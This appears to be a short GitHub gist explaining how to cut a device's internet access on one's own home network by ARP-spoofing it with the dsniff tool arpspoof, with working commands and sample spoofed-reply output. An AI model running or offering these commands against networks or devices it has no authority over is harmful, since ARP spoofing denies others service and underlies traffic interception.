Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?

Block people from accessing internet on your network

Install below package

sudo apt-get install dsniff

Find your interface and router's IP address using ifconfig command
if you are on wifi it is usualy wlan0 and for ethernet eth0. Find the IP address of the device you wish to block internet for and fill in place of CHILD_ADRS below.
Do the same for ROUTER_ADRS.

sudo arpspoof -i INTERFACE -t CHILD_ADRS ROUTER_ADRS

Example

sudo arpspoof -i wlp3s0 -t 192.168.0.82 192.168.0.1

28:b2:bd:43:f5:35 be:f4:6d:d7:71:2b 0806 42: arp reply 192.168.0.1 is-at 28:b2:bd:43:f5:35
.
.
.
28:b2:bd:43:f5:35 be:f4:6d:d7:71:2b 0806 42: arp reply 192.168.0.1 is-at 28:b2:bd:43:f5:35


Source

https://community.home-assistant.io/t/cut-internet-temporarily-in-a-device-in-your-lan/20000

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment